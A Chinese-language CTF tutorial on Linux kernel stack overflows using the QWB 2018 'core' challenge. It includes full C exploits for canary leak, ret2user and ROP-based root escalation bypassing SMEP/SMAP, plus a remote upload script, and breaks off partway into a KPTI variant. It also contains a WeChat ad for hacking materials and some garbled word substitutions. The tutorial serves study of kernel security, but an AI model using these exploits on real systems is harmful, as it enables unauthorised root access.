Kernel Stack栈溢出攻击及保护绕过

前言

本文介绍Linux内核的栈溢出攻击，和内核一些保护的绕过手法，通过一道内核题及其变体从浅入深一步步走进kernel世界。
QWB_2018_core

标题分析

start.sh

1. qemu-system-x86_64 \
2.     -m 128M \
3.     -kernel ./bzImage \
4.     -initrd  ./core.cpio \
5.     -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \
6.     -s \
7.     -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
8.     -nographic  \

复制代码

开启了kaslr保护。
   假如本身编译的 qemu 可能会报错network backend ‘user‘ is not compiled into this binary，办理方法就是sudo apt-get install libslirp-dev，然后重新编译 ./configure --enable-slirp。
  init
解压 core.cpio(最简单的方式就是在ubuntu里，右击提取到此处)，分析 init 文件：

1. #!/bin/sh
2. mount -t proc proc /proc
3. mount -t sysfs sysfs /sys
4. mount -t devtmpfs none /dev
5. /sbin/mdev -s
6. mkdir -p /dev/pts
7. mount -vt devpts -o gid=4,mode=620 none /dev/pts
8. chmod 666 /dev/ptmx
9. cat /proc/kallsyms > /tmp/kallsyms
10. echo 1 > /proc/sys/kernel/kptr_restrict
11. echo 1 > /proc/sys/kernel/dmesg_restrict
12. ifconfig eth0 up
13. udhcpc -i eth0
14. ifconfig eth0 10.0.2.15 netmask 255.255.255.0
15. route add default gw 10.0.2.2
16. insmod /core.ko # 加载内核模块core.ko
17. ​
18. setsid /bin/cttyhack setuidgid 1000 /bin/sh
19. echo 'sh end!\n'
20. umount /proc
21. umount /sys
22. ​
23. poweroff -d 0  -f

复制代码

• 第 9 行中把 kallsyms 的内容保存到了 /tmp/kallsyms 中，那么我们就能从 /tmp/kallsyms 中读取 commit_creds，prepare_kernel_cred 的函数的地点了。
  
• 第 10 行把 kptr_restrict 设为 1，这样就不能通过 /proc/kallsyms 查看函数地点了，但第 9 行已经把其中的信息保存到了一个可读的文件中，这句就无关紧要了。
  
• 第 11 行把 dmesg_restrict 设为 1，这样就不能通过 dmesg 查看 kernel 的信息了。
  
• 第 18 行设置了定时关机，为了避免做题时产生干扰，直接把这句删掉然后重新打包。
  

内里还有一个 gen_cpio.sh 脚本，用于快速打包。

1. find . -print0 \
2. | cpio --null -ov --format=newc \
3. | gzip -9 > $1

复制代码

  

• KASLR：
  Kernel Address Space Layout Randomization(内核地点空间布局随机化)，开启后，允许kernel image加载到VMALLOC区域的任何位置。在未开启KASLR保护机制时，内核代码段的基址为 0xffffffff81000000，direct mapping area 的基址为 0xffff888000000000。
  
• FG-KASLR：
  Function Granular Kernel Address Space Layout Randomization细粒度的 kaslr，函数级别上的 KASLR 优化。该保护只是在代码段打乱顺序，在数据段偏移不变，例如 commit_creds 函数的偏移改变但是 init_cred 的偏移不变。
  
• Dmesg Restrictions：
  通过设置/proc/sys/kernel/dmesg_restrict为1, 可以将dmesg输出的信息视为敏感信息(默认为0)
  
• Kernel Address Display Restriction：
  内核提供控制变量 /proc/sys/kernel/kptr_restrict 用于控制内核的一些输出打印。
  
  
  
  • kptr_restrict == 2 :内核将符号地点打印为全 0 , root 和普通用户都没有权限.
    
  • kptr_restrict == 1 : root 用户有权限读取,普通用户没有权限.
    
  • kptr_restrict == 0 : root 和普通用户都可以读取.
    
  
  

  core.ko
检查一下保护。

1. ❯ checksec core/core.ko
2. [*] '/home/pwn/kernel/pwn/give_to_player/core/core.ko'
3.    Arch:     amd64-64-little
4.    RELRO:    No RELRO
5.    Stack:    Canary found
6.    NX:       NX enabled
7.    PIE:      No PIE (0x0)

复制代码

使用 IDA 继续分析.ko文件。
init_module() 注册了 /proc/core，core_fops 时其注册的file_operations布局体实例，碰面会做介绍。

1. __int64 init_module()
2. {
3.  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
4.  printk(&unk_2DE);
5.  return 0LL;
6. }

复制代码

exit_core()删除 /proc/core。

1. __int64 exit_core()
2. {
3.  __int64 result; // rax
4. ​
5.  if ( core_proc )
6.    result = remove_proc_entry("core");
7.  return result;
8. }

复制代码

core_ioctl() 界说了三条命令，分别调用 core_read(), core_copy_func()和设置全局变量 off。

1. __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
2. {
3.  switch ( a2 )
4.   {
5.    case 0x6677889B:
6.      core_read(a3);
7.      break;
8.    case 0x6677889C:
9.      printk(&unk_2CD);
10.      off = a3;
11.      break;
12.    case 0x6677889A:
13.      printk(&unk_2B3);
14.      core_copy_func(a3);
15.      break;
16.   }
17.  return 0LL;
18. }

复制代码

core_read() 从 v4[off] 拷贝 64 个字节到用户空间，但要注意的是全局变量 off 是我们能够控制的，因此可以公道的控制 off 来 leak canary 和一些地点 。

1. void __fastcall core_read(__int64 a1)
2. {
3.  __int64 v1; // rbx
4.  char *v2; // rdi
5.  signed __int64 i; // rcx
6.  char v4[64]; // [rsp+0h] [rbp-50h]
7.  /*
8.  * canary保存在rsp+0x40的位置，
9.  * 我们通过设置off为0x40，即可将其读取出来。
10.  */
11.  unsigned __int64 v5; // [rsp+40h] [rbp-10h]
12. ​
13.  v1 = a1;
14.  v5 = __readgsqword(0x28u);
15.  printk("\x016core: called core_read\n");
16.  printk("\x016%d %p\n");
17.  v2 = v4;
18.  for ( i = 16LL; i; --i )
19.   {
20.    *(_DWORD *)v2 = 0;
21.    v2 += 4;
22.   }
23.  strcpy(v4, "Welcome to the QWB CTF challenge.\n");
24.  if ( copy_to_user(v1, &v4[off], 64LL) )
25.    __asm { swapgs }
26. }

复制代码

core_copy_func() 从全局变量 name 中拷贝数据到局部变量中，长度是由我们指定的，当要注意的是 qmemcpy 用的是 unsigned __int16，但传递的长度是 signed __int64，因此假如控制传入的长度为 0xffffffffffff0000|(0x100) 等值，就可以栈溢出了。

1. __int64 __fastcall core_copy_func(__int64 a1)
2. {
3.  __int64 result; // rax
4.  _QWORD v2[10]; // [rsp+0h] [rbp-50h] BYREF
5. ​
6.  v2[8] = __readgsqword(0x28u);
7.  printk(&unk_215);
8.  // 这里用的jg判断，为有符号判断，0xffffffffffff0000|(0x100) 会判定为负从而绕过。
9.  if ( a1 > 63 )
10.   {
11.    printk(&unk_2A1);
12.    return 0xFFFFFFFFLL;
13.   }
14.  else
15.   {
16.    result = 0LL;
17.    // 栈溢出。
18.    qmemcpy(v2, &name, (unsigned __int16)a1);
19.   }
20.  return result;
21. }

复制代码

core_write() 向全局变量 name 上写，这样通过 core_write() 和 core_copy_func() 就可以控制 ropchain 了 。

1. signed __int64 __fastcall core_write(__int64 a1, __int64 a2, unsigned __int64 a3)
2. {
3.  unsigned __int64 v3; // rbx
4. ​
5.  v3 = a3;
6.  printk("\x016core: called core_writen");
7.  if ( v3 <= 0x800 && !copy_from_user(name, a2, v3) )
8.    return (unsigned int)v3;
9.  printk("\x016core: error copying data from userspacen");
10.  return 0xFFFFFFF2LL;
11. }

复制代码

  字符驱动装备
  内核注册字符装备驱动装备时会用到file_operations布局体，file_operations 布局体中的成员函数是字符装备驱动程序计划的主体内容，布局体中的一些指针好比open() 、write() 、read() 、close() 等体系调用时终极会被内核调用，我们可以通过指定指针指向的内容修改其默认值为我们自界说的函数，这样我们在雷同read(dev_fd, buf, 0x100)时就会调用我们自界说的my_read函数。
  它还有一个指针为unlocked_ioctl，我们在用户态时可以使用体系调用ioctl去访问控制内核注册的装备（ioctl体系调用号为0x10，由rax保存，需要注意的时，体系调用和用户传参的rdi,rsi,rdx,rcx,r8,r9不同，体系调用第四个传参寄存器为r10，即rdi,rsi,rdx,r10,r8,r9）。
  【----帮助网安学习，以下全部学习资料免费领！加vx：dctintin，备注 “博客园” 获取！】
　① 网安学习发展路径头脑导图
　② 60+网安经典常用工具包
　③ 100+SRC漏洞分析陈诉
　④ 150+网安攻防实战技术电子书
　⑤ 最权势巨子CISSP 认证测验指南+题库
　⑥ 超1800页CTF实战本领手册
　⑦ 最新网安大厂口试题合集（含答案）
　⑧ APP客户端安全检测指南（安卓+IOS）
动态调试

为了动态调试的方便一些，我们需要做以下工作：
（1）通过qemu append参数关闭 kaslr ，qemu提供了-s参数用于调试，默认端口为1234。

1. -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr"

复制代码

（2）修改init脚本将权限调到 root。

1. ...
2. setsid /bin/cttyhack setuidgid 0 /bin/sh
3. ...

复制代码

（3）启动qemu，查看模块基地点。

1. / # lsmod
2. core 16384 0 - Live 0xffffffffc0000000 (O)

复制代码

（4）通过 add-symbol-file core.ko textaddr 把 core.ko 符号加载进去。

1. #!/bin/sh
2. ​
3. gdb -q \
4.  -ex "file ./core/vmlinux" \
5.  -ex "file ./core/core.ko" \
6.  -ex "add-symbol-file ./core/core.ko 0xffffffffc0000000" \
7.  -ex "target remote localhost:1234"

复制代码

ret2user

顾名思义，即返回到用户空间的提权代码上进行提权，之后返回用户态即为 root 权限。

   提权方式
  这里只简单介绍两种朴素的方法，第一种是通过commit_creds(prepare_kernel_cred(0))去提权，不过这种方式已颠末时了，不过这道题的内核版本支持这种方法提权，prepare_kernel_cred()会将拷贝一个新的cred凭证，参数为零默认拷贝init_cred，其具有root权限。commit_cred()负责应用到进程。
  第二种是 commit_cred(&init_cred)，原因是init_cred是静态界说的，我们只要找到init_cred地点便可借助commit_cred完成提权。我们通过vmlinux-to-elf bzImage vmlinux解压并恢复内核部门符号，通过逆向 prepare_kernel_cred() 函数便可轻松定位其地点。

1. _DWORD *__fastcall prepare_kernel_cred(__int64 a1)
2. {
3. _DWORD *v1; // rbx
4. int *task_cred; // rbp
5. ​
6. v1 = (_DWORD *)kmem_cache_alloc(qword_FFFFFFFF82735900, 20971712LL);
7. if ( !v1 )
8. return 0LL;
9. if ( a1 )
10. {
11. task_cred = (int *)get_task_cred(a1);
12. }
13. else
14. {
15. _InterlockedIncrement(dword_FFFFFFFF8223D1A0);
16. task_cred = dword_FFFFFFFF8223D1A0; // init_cred
17. }
18. [......]
19. }

复制代码

  状态保存
通常情况下，我们的 exploit 需要进入到内核当中完成提权，而我们终极仍然需要着陆回用户态以获得一个 root 权限的 shell，因此在我们的 exploit 进入内核态之前我们需要手动模拟用户态进入内核态的准备工作保存各寄存器的值到内核栈上，以便于后续着陆回用户态。通常情况下使用如下函数保存各寄存器值到我们本身界说的变量中，以便于构造 rop 链：
   gcc 编译时需要指定参数：-masm=intel。

1. size_t user_cs, user_ss, user_rflags, user_sp;
2. void saveStatus()
3. {
4.    __asm__("mov user_cs, cs;"
5.            "mov user_ss, ss;"
6.            "mov user_sp, rsp;"
7.            "pushf;"
8.            "pop user_rflags;"
9.            );
10.    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
11. }

复制代码

返回用户态
由内核态返回用户态只需要：

• swapgs指令通过用一个MSR中的值交换GS寄存器的内容，用来获取指向内核数据布局的指针，然后才能实行体系调用之类的内核空间程序，其也用于恢复用户态 GS 寄存器。
  
• sysretq或者iretq恢复到用户空间
  

那么我们只需要在内核中找到相应的 gadget 并实行swapgs;iretq就可以成功着陆回用户态。
实行 iretq 时的栈布局。

1. |----------------------|
2. | RIP                  |<== low mem
3. |----------------------|
4. | CS                   |
5. |----------------------|
6. | EFLAGS               |
7. |----------------------|
8. | RSP                  |
9. |----------------------|
10. | SS                   |<== high mem
11. |----------------------|

复制代码

所以我们应当构造如下 rop 链以返回用户态并获得一个 shell：

1. ↓   swapgs
2.    iretq
3.    user_shell_addr
4.    user_cs
5.    user_eflags //64bit user_rflags
6.    user_sp
7.    user_ss

复制代码

使用思路

在未开启 SMAP/SMEP 保护（后面会解说）的情况下，用户空间无法访问内核空间的数据，但是内核空间可以访问 / 实行用户空间的数据，所以可以使用ret2user。标题给的vmlinux用于提取gadget可以，但使用IDA分析时太慢，可以用vmlinux-to-elf解压bzImage进行分析。

• 从 /tmp/kallsyms 读取符号地点，确认与nokaslr偏移，从vmlinux探求gadget。
  
• 保存用户状态。
  
• 通过设置 off 读取 canary。
  
• 于内核态访问用户空间的 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。
  
• 通过 swapgs; mov trap_frame, rsp; iretq 返回用户空间，并实行 system("/bin/sh");。
  

exp

1. #include <fcntl.h>
2. #include <stdio.h>
3. #include <stdlib.h>
4. #include <string.h>
5. #include <sys/types.h>
6. #include <unistd.h>
7. #include <sys/ioctl.h>
8. ​
9. #define KERNCALL __attribute__((regparm(3)))
10. /* /tmp/kallsyms 保存的符号地址，这里保存的是未开启kaslr的地址 */
11. void *(*prepare_kernel_cred)(void *) KERNCALL = (void *) 0xFFFFFFFF8109CCE0;
12. void *(*commit_creds)(void *) KERNCALL = (void *) 0xFFFFFFFF8109C8E0;
13. void *init_cred = (void *) 0xFFFFFFFF8223D1A0;
14. ​
15. void get_shell()
16. {
17.    system("/bin/sh");
18. }
19. ​
20. void get_root() {
21.    commit_creds(init_cred);
22.    // commit_creds(prepare_kernel_cred(0));
23.    asm("swapgs;"
24.        "mov rsp, tf_addr;"
25.        "iretq;");
26. }
27. ​
28. struct trap_frame {
29.    size_t user_rip;
30.    size_t user_cs;
31.    size_t user_rflags;
32.    size_t user_sp;
33.    size_t user_ss;
34. } __attribute__((packed));
35. ​
36. struct trap_frame tf;
37. size_t user_cs, user_rflags, user_sp, user_ss, tf_addr = (size_t) &tf;
38. ​
39. void save_status() {
40.    __asm__("mov user_cs, cs;"
41.            "mov user_ss, ss;"
42.            "mov user_sp, rsp;"
43.            "pushf;"
44.            "pop user_rflags;");
45.    tf.user_rip = (size_t) get_shell;
46.    tf.user_cs = user_cs;
47.    tf.user_rflags = user_rflags;
48.    tf.user_sp = user_sp - 0x1000;
49.    tf.user_ss = user_ss;
50.    puts("[*] status has been saved.");
51. }
52. ​
53. int core_fd;
54. ​
55. void core_read(char *buf) {
56.    ioctl(core_fd, 0x6677889B, buf);
57. }
58. ​
59. void set_off(size_t off) {
60.    ioctl(core_fd, 0x6677889C, off);
61. }
62. ​
63. void core_copy_func(size_t len) {
64.    ioctl(core_fd, 0x6677889A, len);
65. }
66. ​
67. void core_write(char *buf, size_t len) {
68.    write(core_fd, buf, len);
69. }
70. ​
71. /* 计算开启kaslr后的偏移，重定位相关函数和结构体的地址 */
72. void rebase() {
73.    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
74.    if (kallsyms_fd < 0) {
75.        puts("[-] Failed to open kallsyms.\n");
76.        exit(-1);
77.    }
78.    char name[0x50], type[0x10];
79.    size_t addr;
80.    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
81.        size_t offset = -1;
82.        if (!strcmp(name, "commit_creds")) {
83.            offset = addr - (size_t) commit_creds;
84.        } else if (!strcmp(name, "prepare_kernel_cred")) {
85.            offset = addr - (size_t) prepare_kernel_cred;
86.        }
87.        if (offset != -1) {
88.            printf("[*] offset: %p\n", offset);
89.            commit_creds = (void *) ((size_t) commit_creds + offset);
90.            prepare_kernel_cred = (void *) ((size_t) prepare_kernel_cred + offset);
91.            init_cred = (void *) ((size_t) init_cred + offset);
92.            break;
93.        }
94.    }
95.    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
96.    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
97. }
98. ​
99. size_t get_canary() {
100.    set_off(0x40);
101.    char buf[0x40];
102.    core_read(buf);
103.    return *(size_t *) buf;
104. }
105. ​
106. int main() {
107.    rebase();
108.    save_status();
109.    core_fd = open("/proc/core", O_RDWR);
110.    if (core_fd < 0) {
111.        puts("[-] Failed to open core.");
112.        exit(-1);
113.    }
114.    size_t canary = get_canary();
115.    printf("[*] canary: %p\n", canary);
116.    char buf[0x100];
117.    memset(buf, '\x00', sizeof(buf));
118.    *(size_t *) &buf[0x40] = canary;
119.    *(void **) &buf[0x50] = get_root; // 覆盖返回地址
120.    core_write(buf, sizeof(buf));
121.    // jg 有符号判断，判其为负数，qmemcpy() 第三个参数取其后16位，导致溢出。
122.    core_copy_func(0xffffffffffff0000 | sizeof(buf));
123.    return 0;
124. }

复制代码

编译exp时需要注意，本机环境编译的exp可能无法与标题环境交互，需要使用musl-gcc或者相应版本的docker进行编译，musl-gcc有一些库不支持，但大部门情况下都是可以的。
打包脚本
本题提供了打包脚本，可以直接./gen_cpio.sh ../core_new.cpio 打包即可。假如没提供可以使用以下命令打包。

1. find . | cpio -o -H newc > ../rootfs.imgs

复制代码

打包完成后，改回标题环境，运行脚本测试即可。发送至远程可以使用以下脚本：

1. from pwn import *
2. import base64
3. #context.log_level = "debug"
4. ​
5. with open("./exp", "rb") as f:
6.    exp = base64.b64encode(f.read())
7. ​
8. p = remote("127.0.0.1", 11451)
9. #p = process('./run.sh')
10. try_count = 1
11. while True:
12.    p.sendline()
13.    p.recvuntil("/ $")
14. ​
15.    count = 0
16.    for i in range(0, len(exp), 0x200):
17.        p.sendline("echo -n "" + exp[i:i + 0x200] + "" >> /tmp/b64_exp")
18.        count += 1
19.        log.info("count: " + str(count))
20. ​
21.    for i in range(count):
22.        p.recvuntil("/ $")
23.    
24.    p.sendline("cat /tmp/b64_exp | base64 -d > /tmp/exploit")
25.    p.sendline("chmod +x /tmp/exploit")
26.    p.sendline("/tmp/exploit ")
27.    break
28. ​
29. p.interactive()

复制代码

调试
可以看到add rsp, 0x48;pop rbx后，ret指令正好实行我们用户空间的提权代码。

kernel rop without KPIT

开启 smep 和 smap 保护后，内核空间无法实行用户空间的代码，并且无法访问用户空间的数据。因此不能直接 ret2user 。使用 ROP实行 commit_creds(prepare_kernel_cred(0))/commit_creds(init_cred) , 然后 iret 返回用户空间可以绕过上述保护。
添加 smep 和 smap 保护。

1. qemu-system-x86_64 \
2.     -m 128M \
3.     -kernel ./bzImage \
4.     -initrd  ./core.cpio \
5.     -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
6.     -s  \
7.     -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
8.     -nographic  \
9.     -cpu qemu64,+smep,+smap

复制代码

  

• smep：
  Supervisor Mode Execution Protection(管理模式实行保护)，当处理器处于 ring 0 模式，实行用户空间的代码会触发页错误。（在 arm 中该保护称为 PXN)
  
• smap：
  Superivisor Mode Access Protection(管理模式访问保护)，雷同于 smep，当处理器处于 ring 0 模式，访问用户空间的数据会触发页错误。
  

  使用思路

• 从 /tmp/kallsyms 读取符号地点，确认与nokaslr偏移，从vmlinux探求gadget。
  
• 保存用户状态。
  
• 通过设置 off 读取 canary。
  
• 于内核空间 rop 调用 commit_creds(prepare_kernel_cred(NULL))/commit_creds(init_cred);提权。
  
• 通过 swapgs; popfq; ret; ，iretq 返回用户空间，并实行 system("/bin/sh");。
  

exp

1. #include <fcntl.h>
2. #include <stdio.h>
3. #include <stdlib.h>
4. #include <string.h>
5. #include <sys/types.h>
6. #include <unistd.h>
7. #include <sys/ioctl.h>
8. ​
9. // from vmlinux
10. size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
11. size_t commit_creds = 0xFFFFFFFF8109C8E0;
12. size_t init_cred = 0xFFFFFFFF8223D1A0;
13. size_t pop_rdi_ret = 0xffffffff81000b2f;
14. size_t pop_rdx_ret = 0xffffffff810a0f49;
15. size_t pop_rcx_ret = 0xffffffff81021e53;
16. /*
17. * （1）如果使用 commit_creds(prepare_kernel_cred(NULL))；
18. * 由于找不到 mov rdi, rax; ret; 这条 gadget ，
19. * 因此需要用 mov rdi, rax; call rdx; 代替，其中 rdx 指向 pop rcx; ret;
20. * 可以清除 call 指令压入栈中的 rip ，因此相当于 ret 。
21. * （2）如果使用 commit_creds(init_cred);
22. * 则只需要 pop rdi; ret 即可。
23. */
24. size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
25. size_t swapgs_popfq_ret = 0xffffffff81a012da;
26. size_t iretq = 0xffffffff81050ac2;
27. ​
28. void get_shell() {
29.    system("/bin/sh");
30. }
31. ​
32. size_t user_cs, user_rflags, user_sp, user_ss;
33. ​
34. void save_status() {
35.    __asm__("mov user_cs, cs;"
36.            "mov user_ss, ss;"
37.            "mov user_sp, rsp;"
38.            "pushf;"
39.            "pop user_rflags;");
40.    puts("[*] status has been saved.");
41. }
42. ​
43. int core_fd;
44. ​
45. void core_read(char *buf) {
46.    ioctl(core_fd, 0x6677889B, buf);
47. }
48. ​
49. void set_off(size_t off) {
50.    ioctl(core_fd, 0x6677889C, off);
51. }
52. ​
53. void core_copy_func(size_t len) {
54.    ioctl(core_fd, 0x6677889A, len);
55. }
56. ​
57. void core_write(char *buf, size_t len) {
58.    write(core_fd, buf, len);
59. }
60. ​
61. void rebase() {
62.    FILE *kallsyms_fd = fopen("/tmp/kallsyms", "r");
63.    if (kallsyms_fd < 0) {
64.        puts("[-] Failed to open kallsyms.\n");
65.        exit(-1);
66.    }
67.    char name[0x50], type[0x10];
68.    size_t addr;
69.    while (fscanf(kallsyms_fd, "%llx%s%s", &addr, type, name)) {
70.        size_t offset = -1;
71.        if (!strcmp(name, "commit_creds")) {
72.            offset = addr - (size_t) commit_creds;
73.        } else if (!strcmp(name, "prepare_kernel_cred")) {
74.            offset = addr - (size_t) prepare_kernel_cred;
75.        }
76.        if (offset != -1) {
77.            printf("[*] offset: %p\n", offset);
78.            commit_creds += offset;
79.            prepare_kernel_cred += offset;
80.            init_cred += offset;
81.            pop_rdi_ret += offset;
82.            pop_rdx_ret += offset;
83.            pop_rcx_ret += offset;
84.            mov_rdi_rax_call_rdx += offset;
85.            swapgs_popfq_ret += offset;
86.            iretq += offset;
87.            break;
88.        }
89.    }
90.    printf("[*] commit_creds: %p\n", (size_t) commit_creds);
91.    printf("[*] prepare_kernel_cred: %p\n", (size_t) prepare_kernel_cred);
92. }
93. ​
94. size_t get_canary() {
95.    set_off(64);
96.    char buf[64];
97.    core_read(buf);
98.    return *(size_t *) buf;
99. }
100. ​
101. int main() {
102.    save_status();
103.    rebase();
104. ​
105.    core_fd = open("/proc/core", O_RDWR);
106.    if (core_fd < 0) {
107.        puts("[-] Failed to open core.");
108.        exit(-1);
109.    }
110. ​
111.    size_t canary = get_canary();
112.    printf("[*] canary: %p\n", canary);
113. ​
114.    char buf[0x100];
115.    memset(buf, '\x00', sizeof(buf));
116.    *(size_t *) &buf[0x40] = canary;
117. ​
118.    size_t *rop = (size_t *) &buf[0x50], it = 0;
119.    
120.    rop[it++] = pop_rdi_ret;
121.    rop[it++] = 0;
122.    rop[it++] = prepare_kernel_cred;
123.    rop[it++] = pop_rdx_ret; // rdx ==> pop_rcx_ret_addr
124.    rop[it++] = pop_rcx_ret;
125.    // rax==prepare_kernel_cred(0), cal rdx ==> push commit_creds_addr, then pop_rcx_ret
126.    rop[it++] = mov_rdi_rax_call_rdx;
127.    rop[it++] = commit_creds;
128.    
129.    rop[it++] = swapgs_popfq_ret;
130.    rop[it++] = 0;
131.    rop[it++] = iretq;
132.    rop[it++] = (size_t) get_shell;
133.    rop[it++] = user_cs;
134.    rop[it++] = user_rflags;
135.    rop[it++] = user_sp;
136.    rop[it++] = user_ss;
137. ​
138.    core_write(buf, sizeof(buf));
139. ​
140.    core_copy_func(0xffffffffffff0000 | sizeof(buf));
141. ​
142.    return 0;
143. }

复制代码

kernel rop with KPIT

将 CPU 范例修改为 kvm64 后开启了 KPTI 保护。

1. #!/bin/sh
2. qemu-system-x86_64 \
3.  -m 256M \
4.  -kernel ./bzImage \
5.  -initrd ./core.cpio \
6.  -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet nokaslr" \
7.  -s \
8.  -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
9.  -nographic \
10.  -cpu kvm64,+smep,+smap

复制代码

  KPTI：
  kernel page-table isolation，内核页表隔离，进程页表隔离。旨在更好地隔离用户空间与内核空间的内存来提高安全性。KPTI通过完全分离用户空间与内核空间页表来办理页表泄露。一旦开启了KPTI,由于内核态和用户态的页表不同，所以假如使用 ret2user或内核实行ROP返回用户态时，由于内核态无法确定用户态的页表，就会报出一个段错误。可以使用内核现有的gadget将 cr3 与 0x1000 异或(第13位置0)来完成从用户态PGD转换成内核态PGD。
  使用思路

比较简单的方法是借助 swapgs_restore_regs_and_return_to_usermode 返回用户态。该函数是内核在 arch/x86/entry/entry_64.S 中提供的一个用于完成内核态到用户态切换的函数。当然我们也可以使用内核的gadget将cr3的第13位置0(与0x1000异或)来完成从用户态PGD转换成内核态PGD。

1. .text:FFFFFFFF81A008DA ; __int64 swapgs_restore_regs_and_return_to_usermode(void)
2. .text:FFFFFFFF81A008DA                 public swapgs_restore_regs_and_return_to_usermode
3. .text:FFFFFFFF81A008DA swapgs_restore_regs_and_return_to_usermode proc near
4. .text:FFFFFFFF81A008DA                                         ; CODE XREF: ;entry_SYSCALL_64_after_hwframe+4D↑j
5. .text:FFFFFFFF81A008DA                                         ; entry_SYSCALL_64_after_hwframe+5E↑j ...
6. .text:FFFFFFFF81A008DA                 pop     r15
7. .text:FFFFFFFF81A008DC                 pop     r14
8. .text:FFFFFFFF81A008DE                 pop     r13
9. .text:FFFFFFFF81A008E0                 pop     r12
10. .text:FFFFFFFF81A008E2                 pop     rbp
11. .text:FFFFFFFF81A008E3                 pop     rbx
12. .text:FFFFFFFF81A008E4                 pop     r11
13. .text:FFFFFFFF81A008E6                 pop     r10
14. .text:FFFFFFFF81A008E8                 pop     r9
15. .text:FFFFFFFF81A008EA                 pop     r8
16. .text:FFFFFFFF81A008EC                 pop     rax
17. .text:FFFFFFFF81A008ED                 pop     rcx
18. .text:FFFFFFFF81A008EE                 pop     rdx
19. .text:FFFFFFFF81A008EF                 pop     rsi
20. /*
21. * 我们再利用时直接跳到这里即可，不过 rop 接下来还要有 16 字节的填充来表示 orig_rax 和 rdi 的位置。
22. */
23. .text:FFFFFFFF81A008F0                 mov     rdi, rsp         ; jump this
24. .text:FFFFFFFF81A008F3                 mov     rsp, gs:qword_5004
25. .text:FFFFFFFF81A008FC                 push    qword ptr [rdi+30h]
26. .text:FFFFFFFF81A008FF                 push    qword ptr [rdi+28h]
27. .text:FFFFFFFF81A00902                 push    qword ptr [rdi+20h]
28. .text:FFFFFFFF81A00905                 push    qword ptr [rdi+18h]
29. .text:FFFFFFFF81A00908                 push    qword ptr [rdi+10h]
30. .text:FFFFFFFF81A0090B                 push    qword ptr [rdi]
31. .text:FFFFFFFF81A0090D                 push    rax
32. .text:FFFFFFFF81A0090E                 jmp     short loc_FFFFFFFF81A00953
33. [......]
34. ;loc_FFFFFFFF81A00953
35. .text:FFFFFFFF81A00953 loc_FFFFFFFF81A00953:                   ; CODE XREF: ;swapgs_restore_regs_and_return_to_usermode+34↑j
36. .text:FFFFFFFF81A00953                 pop     rax
37. .text:FFFFFFFF81A00954                 pop     rdi
38. .text:FFFFFFFF81A00955                 swapgs
39. .text:FFFFFFFF81A00958                 jmp     native_iret
40. .text:FFFFFFFF81A00958 swapgs_restore_regs_and_return_to_usermode endp
41. [......]
42. ;native_iret
43. .text:FFFFFFFF81A00980                 test    [rsp+arg_18], 4
44. .text:FFFFFFFF81A00985                 jnz     short native_irq_return_ldt
45. .text:FFFFFFFF81A00985 native_iret     endp
46. [......]
47. ;native_irq_return_ldt
48. .text:FFFFFFFF81A00989                 push    rdi
49. .text:FFFFFFFF81A0098A                 swapgs
50. .text:FFFFFFFF81A0098D                 jmp     short loc_FFFFFFFF81A009A1
51. [......]
52. ;loc_FFFFFFFF81A009A1
53. .text:FFFFFFFF81A009A1                 mov     rdi, gs:qword_F000
54. .text:FFFFFFFF81A009AA                 mov     [rdi], rax
55. .text:FFFFFFFF81A009AD                 mov     rax, [rsp+8]
56. .text:FFFFFFFF81A009B2                 mov     [rdi+8], rax
57. .text:FFFFFFFF81A009B6                 mov     rax, [rsp+8+arg_0]
58. .text:FFFFFFFF81A009BB                 mov     [rdi+10h], rax
59. .text:FFFFFFFF81A009BF                 mov     rax, [rsp+8+arg_8]
60. .text:FFFFFFFF81A009C4                 mov     [rdi+18h], rax
61. .text:FFFFFFFF81A009C8                 mov     rax, [rsp+8+arg_18]
62. .text:FFFFFFFF81A009CD                 mov     [rdi+28h], rax
63. .text:FFFFFFFF81A009D1                 mov     rax, [rsp+8+arg_10]
64. .text:FFFFFFFF81A009D6                 mov     [rdi+20h], rax
65. .text:FFFFFFFF81A009DA                 and     eax, 0FFFF0000h
66. .text:FFFFFFFF81A009DF                 or      rax, gs:qword_F008
67. .text:FFFFFFFF81A009E8                 push    rax
68. .text:FFFFFFFF81A009E9                 jmp     short loc_FFFFFFFF81A00A2E
69. [......]
70. ;loc_FFFFFFFF81A00A2E
71. .text:FFFFFFFF81A00A2E                 pop     rax
72. .text:FFFFFFFF81A00A2F                 swapgs
73. .text:FFFFFFFF81A00A32                 pop     rdi
74. .text:FFFFFFFF81A00A33                 mov     rsp, rax
75. .text:FFFFFFFF81A00A36                 pop     rax
76. .text:FFFFFFFF81A00A37                 jmp     native_irq_return_iret
77. [......]
78. ;native_irq_return_iret
79. .text:FFFFFFFF81A00987                 iretq
80. .text:FFFFFFFF81A00987 native_irq_return_iret endp

复制代码

exp

1. #include <fcntl.h>
2. #include <stdio.h>
3. #include <stdlib.h>
4. #include <string.h>
5. #include <sys/types.h>
6. #include <unistd.h>
7. #include <sys/ioctl.h>
8. ​
9. size_t prepare_kernel_cred = 0xFFFFFFFF8109CCE0;
10. size_t commit_creds = 0xFFFFFFFF8109C8E0;
11. size_t init_cred = 0xFFFFFFFF8223D1A0;
12. size_t pop_rdi_ret = 0xffffffff81000b2f;
13. size_t pop_rdx_ret = 0xffffffff810a0f49;
14. size_t pop_rcx_ret = 0xffffffff81021e53;
15. size_t mov_rdi_rax_call_rdx = 0xffffffff8101aa6a;
16. size_t swapgs_popfq_ret = 0xffffffff81a012da;
17. size_t iretq = 0xffffffff81050ac2;
